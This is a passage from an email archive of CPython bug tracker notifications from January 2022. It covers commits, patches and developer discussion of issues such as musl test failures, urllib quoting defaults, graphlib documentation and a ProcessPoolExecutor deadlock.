real unzip Should we change CPython tests to accommodate things that are missing (versus buggy). Should the tests requiring sched_[gs]etscheduler be skipped if missing? Or are they required to be 'posix' and is test_posix meant to test completeness as well as correctness of what is present? ---------- nosy: +ncopa, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:24:40 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 21:24:40 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642800280.22.0.619758606441.issue43118@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 881a763cfe07ef4a5806ec78f13a9bc99e8909dc by Weipeng Hong in branch 'main': bpo-43118: Fix bug in inspect.signature around 'base.__text_signature__' (GH-30285) https://github.com/python/cpython/commit/881a763cfe07ef4a5806ec78f13a9bc99e8909dc ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:24:41 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:24:41 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642800281.66.0.825436237276.issue43118@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28951 pull_request: https://github.com/python/cpython/pull/30765 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:24:45 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:24:45 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642800285.85.0.882372210574.issue43118@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28952 pull_request: https://github.com/python/cpython/pull/30766 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:27:11 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 21:27:11 +0000 Subject: [issue46396] Typing: test invalid usages of `Concatenate` In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642800431.33.0.863089385189.issue46396@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- title: Invalid usage of `Concatenate` is not covered at all -> Typing: test invalid usages of `Concatenate` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:33:27 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 21 Jan 2022 21:33:27 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642800807.0.0.925564013083.issue46390@roundup.psfhosted.org> Change by Christian Heimes : Removed file: https://bugs.python.org/file50562/alpine315-tests.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:34:28 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 21:34:28 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642800868.9.0.104439762779.issue46463@roundup.psfhosted.org> Change by Steve Dower : ---------- keywords: +patch pull_requests: +28953 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30768 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:35:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 21:35:59 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642800959.3.0.794289071486.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28954 pull_request: https://github.com/python/cpython/pull/30769 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:36:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 21:36:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642800981.09.0.31963575511.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28955 pull_request: https://github.com/python/cpython/pull/30767 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:37:39 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 21:37:39 +0000 Subject: [issue46396] Typing: test invalid usages of `Concatenate` In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642801059.39.0.465069358848.issue46396@roundup.psfhosted.org> Guido van Rossum added the comment: Arguably the runtime should not check for incorrect calls to Concatenate. That's the job of static type checkers. So maybe that code could just be removed? (We don't bother checking things like list[0] either.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:38:30 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:38:30 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642801110.79.0.161469190218.issue46445@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28956 pull_request: https://github.com/python/cpython/pull/30770 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:38:27 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 21:38:27 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642801107.22.0.316078953259.issue46445@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 65b88d5e01c845c0cfa3ff61bc8b2faec8f67a57 by Nikita Sobolev in branch 'main': bpo-46445: Cover multiple inheritance of `TypedDict` in `test_typing` (GH-30719) https://github.com/python/cpython/commit/65b88d5e01c845c0cfa3ff61bc8b2faec8f67a57 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:50:53 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 21 Jan 2022 21:50:53 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642801853.41.0.812964449242.issue46390@roundup.psfhosted.org> Christian Heimes added the comment: In my opinion we should treat these issues as Alpine / musl libc platform bugs and ask the Alpine maintainers to look into the issue. The tests are passing on Linux with glibc and BSD platforms (FreeBSD, macOS, ...) with BSD libc. It is reasonable to assume that failing test are caused by incompatibilities or deficiencies in musl libc, or by a different interpretation of POSIX and Open Group standards. I would not ignore or skip any test unless we have a thorough understanding of the problem and the deviation is documented. The issue can also affect user code. Python's test suite is exhaustive. Our tests have found a fair amount of problems in e.g, libm. A couple of years ago ine of my AF_ALG socket tests even found a Kernel bug by triggered a Kernel fault. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:51:19 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 21:51:19 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642801879.22.0.426739104726.issue46463@roundup.psfhosted.org> Steve Dower added the comment: New changeset 57d1855682dbeb9233ef3a531f9535c6442e9992 by Steve Dower in branch 'main': bpo-46463: Fixes escape4chm.py script used when building the CHM documentation file (GH-30768) https://github.com/python/cpython/commit/57d1855682dbeb9233ef3a531f9535c6442e9992 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:51:26 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:51:26 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642801886.77.0.0240192632144.issue46463@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +28957 pull_request: https://github.com/python/cpython/pull/30772 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:51:40 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:51:40 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642801900.92.0.603288395119.issue46463@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28958 pull_request: https://github.com/python/cpython/pull/30773 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:56:05 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 21 Jan 2022 21:56:05 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642802165.06.0.458413411423.issue46390@roundup.psfhosted.org> Christian Heimes added the comment: The comment about sched_[gs]etscheduler seems to be outdated. For one CPython's test suite has a @requires_sched decorator that performs a check for sched_getscheduler and the Kernel syscall. musl libc in Alpine 3.13 and 3.15 have sched_setscheduler. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:59:16 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 21 Jan 2022 21:59:16 +0000 Subject: [issue46124] Deprecation warning in zoneinfo module In-Reply-To: <1639836261.99.0.934737788895.issue46124@roundup.psfhosted.org> Message-ID: <1642802356.28.0.493482405777.issue46124@roundup.psfhosted.org> Jason R. Coombs added the comment: Closing, presumed fixed. Please re-open if not. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:00:20 2022 From: report at bugs.python.org (Kevin Raeder) Date: Fri, 21 Jan 2022 22:00:20 +0000 Subject: [issue32658] Metacharacter (\) documentation suggestion In-Reply-To: <1642786950.54.0.0885145675748.issue32658@roundup.psfhosted.org> Message-ID: Kevin Raeder added the comment: Sure! Thanks for paying attention to my suggestion. Kevin On Fri, Jan 21, 2022 at 10:42 AM mike mcleod wrote: > > mike mcleod added the comment: > > I would like to help with this issue. Is that acceptable? > > ---------- > nosy: +mikecmcleod > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:06:42 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 22:06:42 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642802802.05.0.160550313267.issue43118@roundup.psfhosted.org> miss-islington added the comment: New changeset 9e3ff821dac05e8fde030ec83bd988f3eba66065 by Miss Islington (bot) in branch '3.9': bpo-43118: Fix bug in inspect.signature around 'base.__text_signature__' (GH-30285) https://github.com/python/cpython/commit/9e3ff821dac05e8fde030ec83bd988f3eba66065 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:09:07 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 22:09:07 +0000 Subject: [issue46397] urllib.parse.quote uses safe='' as default In-Reply-To: <1642326295.37.0.140751306848.issue46397@roundup.psfhosted.org> Message-ID: <1642802947.6.0.397747590942.issue46397@roundup.psfhosted.org> Terry J. Reedy added the comment: 'urlencode()' is a TypeError as a query (dict) is needed. The claim is that '/?' in a key are encoded but should not be. I verified the encoding in 3.10. >>> urlencode({'/?link': 'pubmed'}) '%2F%3Flink=pubmed' https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlencode https://docs.python.org/3/library/urllib.parse.html#urllib.parse.quote and the following entry from 'quote_plus' say that by default, quote_via is quote_plus and the latter quotes '/' and '?'. So the bug report as stated is not valid. --- They also say that passing 'quote_via=quote' should suppress quoting of '/', because it defaults to 'safe='/', but it does not. >>> urlencode({'/?link': 'pubmed'}, quote_via=quote) '%2F%3Flink=pubmed' So either the doc should be changed in 3 places, or the default safe for quote should be '/' as documented. --- Anh, use safe='/?' to get what you want. >>> urlencode({'/?link': 'pubmed'}, quote_via=quote, safe='/?') '/?link=pubmed' ---------- nosy: +orsenthil, terry.reedy title: urllib.parse.urlencode() return wrong character -> urllib.parse.quote uses safe='' as default _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:11:55 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 22:11:55 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642803115.1.0.465228761081.issue46463@roundup.psfhosted.org> miss-islington added the comment: New changeset d548c871716dfda73714d9f38b4e4219878a414e by Miss Islington (bot) in branch '3.10': bpo-46463: Fixes escape4chm.py script used when building the CHM documentation file (GH-30768) https://github.com/python/cpython/commit/d548c871716dfda73714d9f38b4e4219878a414e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:15:52 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 22:15:52 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1642803352.66.0.511031982734.issue46463@roundup.psfhosted.org> miss-islington added the comment: New changeset b37f3e993a978eacf05c5fddd716be2d31f18a8d by Miss Islington (bot) in branch '3.9': bpo-46463: Fixes escape4chm.py script used when building the CHM documentation file (GH-30768) https://github.com/python/cpython/commit/b37f3e993a978eacf05c5fddd716be2d31f18a8d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:15:53 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 Jan 2022 22:15:53 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642803353.72.0.577647067165.issue46071@roundup.psfhosted.org> Tim Peters added the comment: Perhaps you've overlooking something so obvious to the module authors that I haven't thought to mention it? The purpose here is to compute a linear order. Now not even you ;-) can pretend to be confused about what "predecessor" and "successor" mean in a linear order. There's no graph involved in the final result (unless you mentally impose a trivial linear graph on the result sequence). And that's how to view the `graph` argument _as intended_. It maps an element to the elements that must precede it _in the result_. The element's mandatory predecessors in any acceptable imposed total ordering. >From that intended view, this is just waaaay off base: > I wish the docs started by saying: > > The graph is a dict of {'start_node': ['end_nodes',]} > The topological sorter puts the end_nodes before their start_nodes. > [note: this is what the code currently does] The words "start" and "end" there would be clearer as "banana" and "beeswax" ;-) End of what? Start of what? The "start" node has to appear _after_ all the "end" nodes? In what other context does the "start" appear after the "end"? As is, the code puts the "start" node after all its declared mandatory predecessors. Exactly as the word "predecessors" suggests should happen. [Dennis] > David suggests: > > * static_order returns [A, B] > * Conceptual/abstract directed graph direction is B --> A > * mapping to be passed is {B: [A]} IF that's what he's suggesting (I don't know), that's not a matter of preference, it's just plain wrong. The only possible topsort of the DAG B --> A is the sequence [B, A]. For which see absolutely any text defining the terms. There are many ways the "mapping to be passed" could be defined. David is certainly right that, by convention, most graphs in Python are represented by successor dicts. But he apparently doesn't want an option for the topsorter to accept such a dict either. (An irony in passing: under the covers, the class converts the predecessor-dict `graph` argument to a successor-dict representation.) At this point, I not only don't know what he wants, his position gets less clear to me over time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:29:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 22:29:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642804161.1.0.0902623990179.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 8ee07dda139f3fa1d7c58a29532a98efc790568d by Victor Stinner in branch 'main': bpo-46417: Add _PyType_GetSubclasses() function (GH-30761) https://github.com/python/cpython/commit/8ee07dda139f3fa1d7c58a29532a98efc790568d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:30:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 22:30:27 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642804227.96.0.138539037912.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7835cbf949c413a746324721a352cc72670a8a36 by Victor Stinner in branch 'main': bpo-46417: Use _PyType_CAST() in Python directory (GH-30769) https://github.com/python/cpython/commit/7835cbf949c413a746324721a352cc72670a8a36 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:33:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 22:33:57 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642804437.21.0.316851814219.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ac1f152421fab3ac854fe4565c575b306e2bb4b5 by Victor Stinner in branch 'main': bpo-46417: Use _PyType_CAST() in Objects directory (GH-30764) https://github.com/python/cpython/commit/ac1f152421fab3ac854fe4565c575b306e2bb4b5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:37:59 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 22:37:59 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642804679.03.0.543516813035.issue46445@roundup.psfhosted.org> miss-islington added the comment: New changeset 46e6aad12958d3b73c5377ec034d056bb1a36d65 by Miss Islington (bot) in branch '3.10': bpo-46445: Cover multiple inheritance of `TypedDict` in `test_typing` (GH-30719) https://github.com/python/cpython/commit/46e6aad12958d3b73c5377ec034d056bb1a36d65 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:52:33 2022 From: report at bugs.python.org (Jorgen Harmse) Date: Fri, 21 Jan 2022 22:52:33 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods In-Reply-To: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> Message-ID: <1642805553.86.0.107081894376.issue46419@roundup.psfhosted.org> Jorgen Harmse added the comment: There may be more people who use Python, but there are strange semantics that cause problems even for experienced Python programmers. For example, assign-by-reference (apparently built without considering the solutions available in MatLab & R) frequently leads to unexpected changes in the caller's space. I expect that very few people understand linearisation, so multiple inheritance is effectively unusable in Python. C++ would generate a compile-time error if two base classes provided the same method (unless they inherited it from a common virtual base class). The text in question appears twice in Section 9 of https://docs.python.org/3/tutorial/classes.html. It's in the third paragraph of the introduction and the 5th text paragraph of Section 9.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 17:56:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 22:56:11 +0000 Subject: [issue29882] Add an efficient popcount method for integers In-Reply-To: <1490203842.58.0.276315183014.issue29882@psf.upfronthosting.co.za> Message-ID: <1642805771.65.0.239157680046.issue29882@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28959 pull_request: https://github.com/python/cpython/pull/30774 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:00:15 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 23:00:15 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods In-Reply-To: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> Message-ID: <1642806015.85.0.804436781016.issue46419@roundup.psfhosted.org> Guido van Rossum added the comment: You appear more interested in a discussion of Python semantics than in improving the tutorial. I see nothing actionable here. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:32:19 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 21 Jan 2022 23:32:19 +0000 Subject: [issue40120] Undefined C behavior going beyond end of struct via a [1] arrays. In-Reply-To: <1585602263.71.0.279519604291.issue40120@roundup.psfhosted.org> Message-ID: <1642807939.74.0.164089164623.issue40120@roundup.psfhosted.org> Gregory P. Smith added the comment: off the top of my head that might actually work as I _think_ "empty" things are required to consume an unused byte of size no matter what meaning sizeof shouldn't change? Some testing and standards perusing for C99 is in order to confirm that though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:32:53 2022 From: report at bugs.python.org (Yilei Yang) Date: Fri, 21 Jan 2022 23:32:53 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used Message-ID: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> New submission from Yilei Yang : When Python is built and linked with tcmalloc, using ProcessPoolExecutor may deadlock. Here is a reproducible example: $ cat t.py from concurrent import futures import sys def work(iteration, item): sys.stdout.write(f'working: iteration={iteration}, item={item}\n') sys.stdout.flush() for i in range(0, 10000): with futures.ProcessPoolExecutor(max_workers=2) as executor: executor.submit(work, i, 1) executor.submit(work, i, 2) $ python t.py working: iteration=0, item=1 working: iteration=0, item=2 working: iteration=1, item=1 working: iteration=1, item=2 ... working: iteration=3631, item=1 working: iteration=3631, item=2 The child process fails to finish. It's more likely to reproduce when the system is busy. With some bisect search internally, this commit https://github.com/python/cpython/commit/1ac6e379297cc1cf8acf6c1b011fccc7b3da2cbe "triggered" the deadlock threshold with tcmalloc. ---------- components: Library (Lib) messages: 411208 nosy: yilei priority: normal severity: normal status: open title: concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:34:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 23:34:38 +0000 Subject: [issue46421] unittest ValueError when invoking as module In-Reply-To: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> Message-ID: <1642808078.97.0.588641611094.issue46421@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- nosy: +ezio.melotti, michael.foord, rbcollins _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:35:45 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 21 Jan 2022 23:35:45 +0000 Subject: [issue39207] concurrent.futures.ProcessPoolExecutor does not properly reap jobs and spawns too many workers In-Reply-To: <1578087844.56.0.81762061225.issue39207@roundup.psfhosted.org> Message-ID: <1642808145.19.0.162016856439.issue39207@roundup.psfhosted.org> Gregory P. Smith added the comment: fyi - this appears to have caused https://bugs.python.org/issue46464 ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:42:35 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 23:42:35 +0000 Subject: [issue46452] Possible false detection of Windows LZMA library as a malware by Avast In-Reply-To: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> Message-ID: <1642808555.78.0.016415664896.issue46452@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:51:32 2022 From: report at bugs.python.org (Ned Batchelder) Date: Fri, 21 Jan 2022 23:51:32 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642809092.01.0.222076703233.issue42197@roundup.psfhosted.org> Ned Batchelder added the comment: And btw, the tests with that branch ran at least twice as fast as with 3.10....! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:54:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 23:54:52 +0000 Subject: [issue29882] Add an efficient popcount method for integers In-Reply-To: <1490203842.58.0.276315183014.issue29882@psf.upfronthosting.co.za> Message-ID: <1642809292.65.0.416315892201.issue29882@roundup.psfhosted.org> STINNER Victor added the comment: New changeset cd8de40b3b10311de2db7b90abdf80af9e35535f by Victor Stinner in branch 'main': bpo-29882: _Py_popcount32() doesn't need 64x64 multiply (GH-30774) https://github.com/python/cpython/commit/cd8de40b3b10311de2db7b90abdf80af9e35535f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:57:05 2022 From: report at bugs.python.org (Eric Snow) Date: Fri, 21 Jan 2022 23:57:05 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642809425.25.0.616632655296.issue46449@roundup.psfhosted.org> Eric Snow added the comment: > the deep-frozen objects also reference the small ints directly, as well as the singleton for b"". > Is this even safe across Py_Finalize()/Py_Initialize()? If not, we'll need to roll that back as well. The small ints and the empty bytes object each have "immortal" refcounts too (999999999, just like you did in deepfreeze). So they would cause a similar behavior to what Victor reported. Otherwise I wouldn't expect any problems across Py_Finalize()/Py_Initialize(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:59:53 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 21 Jan 2022 23:59:53 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1642809593.03.0.696330770978.issue46464@roundup.psfhosted.org> Gregory P. Smith added the comment: For context, the fundamental problem is that os.fork() is unsafe to use in any process with threads. concurrent/futures/process.py violates this. So long as its design involves a thread, it can never be guaranteed not to deadlock. POSIX forbids execution of most code after fork() has been called. Returning to the CPython interpreter after os.fork() in the child process is never safe unless the parent process had no threads at fork time. The change that triggered the issue moved from doing all of the os.fork() calls for the workers up front *before the thread was spawned* to doing them on demand after the thread was running. The bugfix for this is simply a rollback to revert the bpo-39207 change. It was a performance enhancement, but it causes a new deadlock in code that didn't already have one when thread tuned malloc implementations are used. The only way to safely launch worker processes on demand is to spawn a worker launcher process spawned prior to any thread creation that remains idle, with a sole job of spawn new worker processes for us. That sounds complicated. That'd be a feature. Lets go with the bugfix first. ---------- assignee: -> gregory.p.smith keywords: +3.9regression nosy: +gregory.p.smith stage: -> needs patch type: -> resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 19:21:31 2022 From: report at bugs.python.org (Jorgen Harmse) Date: Sat, 22 Jan 2022 00:21:31 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods In-Reply-To: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> Message-ID: <1642810891.0.0.822695070374.issue46419@roundup.psfhosted.org> Jorgen Harmse added the comment: Is van Rossum serious? I responded to the comments on my report. The action is to clarify the documentation, probably including a warning against multiple inheritance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 19:38:03 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 00:38:03 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642811883.99.0.819499521285.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: > It seems David places more value on the idea of the concrete mapping "pointing forwards" with respect to the abstract directed graph, while it seems Tim places more value on the idea of the abstract mapping direction corresponding to the final static order. These two goals are in conflict, assuming we don't want to change the behavior. Yes, that's right. But the good news is that if you're willing to rewrite all of the documentation you probably can explain this in a clear and simple way, and without breaking compatibility. I say *you* because I'm not going to argue with you all about this anymore, especially with Tim being... --- Tim: you're conflating the words "predecessors" and "dependency". In some contexts they can be synonymous, but they are not the same thing. * Predecessor refers to one of the sides of a directed edge. * Dependency refers to a semantic relationship between two of the users' things. > The only possible topsort [...] For which see absolutely any text defining the terms. >From wiki: "Precisely, a topological sort is a graph traversal in which each node v is visited only after all its dependencies are visited." This definition doesn't say anything about the "predecessors" or how the graph is stored, or anything about "edge direction". I like this definition. > that's not a matter of preference, it's just plain wrong I know that there are many different ways to represent a graph, but your graph format *is just plain wrong.* Goodbye ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 19:38:11 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 00:38:11 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642811891.31.0.0145118460789.issue46071@roundup.psfhosted.org> Change by David Mc Dougall : ---------- nosy: -dam1784 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 19:43:32 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 00:43:32 +0000 Subject: [issue46204] Graphlib 